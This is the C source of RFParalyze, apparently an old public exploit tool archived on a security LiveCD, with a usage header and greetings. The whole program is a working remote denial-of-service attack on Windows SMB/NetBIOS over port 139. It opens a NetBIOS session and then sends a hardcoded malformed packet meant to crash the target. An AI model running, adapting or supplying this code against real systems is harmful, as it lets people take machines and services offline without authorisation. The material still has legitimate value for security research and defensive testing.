home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / RFParalyze.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  133 lines

  1. /*********************************** www.el8.org **** www.wiretrip.net **/
  2.  
  3. /*     - el8.org advisory: RFParalyze.c 
  4.  
  5.     code by rain forest puppy <rfp@wiretrip.net>   -
  6.        coolness exhibited by Evan Brewer <dm@el8.org> -
  7.  
  8.     - Usage: RFParalyze <IP address> <NetBIOS name>
  9.  
  10.     where <IP address> is the IP address (duh) of the target (note:
  11.     not DNS name).  <NetBIOS name> is the NetBIOS name (again, duh) of
  12.     the server at the IP address given.  A kiddie worth his scripts
  13.     should be able to figure out how to lookup the NetBIOS name.  
  14.     Note: NetBIOS name must be in upper case.
  15.  
  16.     This code was made from a reverse-engineer of 'whisper', a 
  17.     binary-only exploit found in the wild.
  18.  
  19.     I have only tested this code on Linux.  Hey, at least it's
  20.     not in perl... ;)   -rfp
  21.  
  22. */
  23.  
  24. #include <stdio.h>        /* It's such a shame to waste   */
  25. #include <stdlib.h>        /* this usable space. Instead,  */
  26. #include <string.h>        /* we'll just make it more      */
  27. #include <netdb.h>        /* props to the men and women   */
  28. #include <sys/socket.h>        /* (hi Tabi!) of #!adm and      */
  29. #include <sys/types.h>        /* #!w00w00, because they rock  */
  30. #include <netinet/in.h>        /* so much.  And we can't forget*/
  31. #include <unistd.h>        /* our friends at eEye or       */
  32. #include <string.h>        /* Attrition. Oh, +hi Sioda. :) */
  33.  
  34. /*     Magic winpopup message
  35.     This is from \\Beav\beavis and says "yeh yeh"
  36.     Ron and Marty should like the hardcoded values this has ;)  
  37. */
  38. char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
  39. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  40. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  41. "\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
  42. "\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";
  43.  
  44. struct sreq /* little structure of netbios session request */
  45.         {
  46.         char first[5];  
  47.         char yoname[32];
  48.         char sep[2];
  49.         char myname[32];
  50.         char end[1];
  51.         };
  52.  
  53. void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/
  54.  
  55. int main(int argc, char *argv[]){
  56. char buf[4000], myname[33], yoname[33];
  57. struct sockaddr_in sin;
  58. int sox, connex, x;
  59. struct sreq smbreq;
  60.  
  61. printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");
  62.  
  63. if (argc < 3) {
  64. printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
  65. printf("       --IP must be ip address, not dns\n");
  66. printf("       --NetBIOS name must be in UPPER CASE\n\n");
  67. exit(1);}
  68.  
  69. printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");
  70.  
  71. Pad_Name("WICCA",myname);  /* greetz to Simple Nomad/NMRC */
  72. myname[30]='A';               /* how was Beltaine? :)        */
  73. myname[31]='D';
  74.  
  75. Pad_Name(argv[2],yoname);
  76. yoname[30]='A';
  77. yoname[31]='D';
  78. printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);
  79.  
  80. sin.sin_addr.s_addr = inet_addr(argv[1]);
  81. sin.sin_family      = AF_INET;
  82. sin.sin_port        = htons(139);
  83.  
  84. sox = socket(AF_INET,SOCK_STREAM,0);
  85. if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){
  86.     perror("Problems connecting: ");
  87.     exit(1);}
  88.  
  89. memset(buf,0,4000);
  90.  
  91. memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/
  92. memcpy(smbreq.sep,"\x00\x20",2);               /*no need to worry about*/
  93. memcpy(smbreq.end,"\x00",1);                   /*what it does :)       */
  94. strncpy(smbreq.myname,myname,32);
  95. strncpy(smbreq.yoname,yoname,32);
  96.  
  97. write(sox,&smbreq,72);  /* send initial request */
  98. x=read(sox,buf,4000);   /* get their response   */
  99.  
  100. if(x<1){ printf("Problem, didn't get response\n");
  101.         exit(1);}
  102.  
  103. if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill...");
  104. else {printf("We didn't get back the A-OK, bailing.\n");
  105.         exit(1);}
  106.  
  107. write(sox,&blowup,72);  /* send the magic message >:)     */
  108. x=read(sox,buf,4000);   /* we really don't care, but sure */
  109. close(sox);
  110. printf("done\n");
  111. }
  112.  
  113. void Pad_Name(char *name1, char *name2)
  114. { char c, c1, c2;
  115.   int i, len;
  116.   len = strlen(name1);
  117.   for (i = 0; i < 16; i++) {
  118.     if (i >= len) {
  119.      c1 = 'C'; c2 = 'A'; /* CA is a space */
  120.     } else {
  121.       c = name1[i];
  122.       c1 = (char)((int)c/16 + (int)'A');
  123.       c2 = (char)((int)c%16 + (int)'A');
  124.     }
  125.     name2[i*2] = c1;
  126.     name2[i*2+1] = c2;
  127.   }
  128.   name2[32] = 0;   /* Put in the null ...*/
  129. }
  130.  
  131.  
  132. /*********************************** www.el8.org **** www.wiretrip.net **/
  133.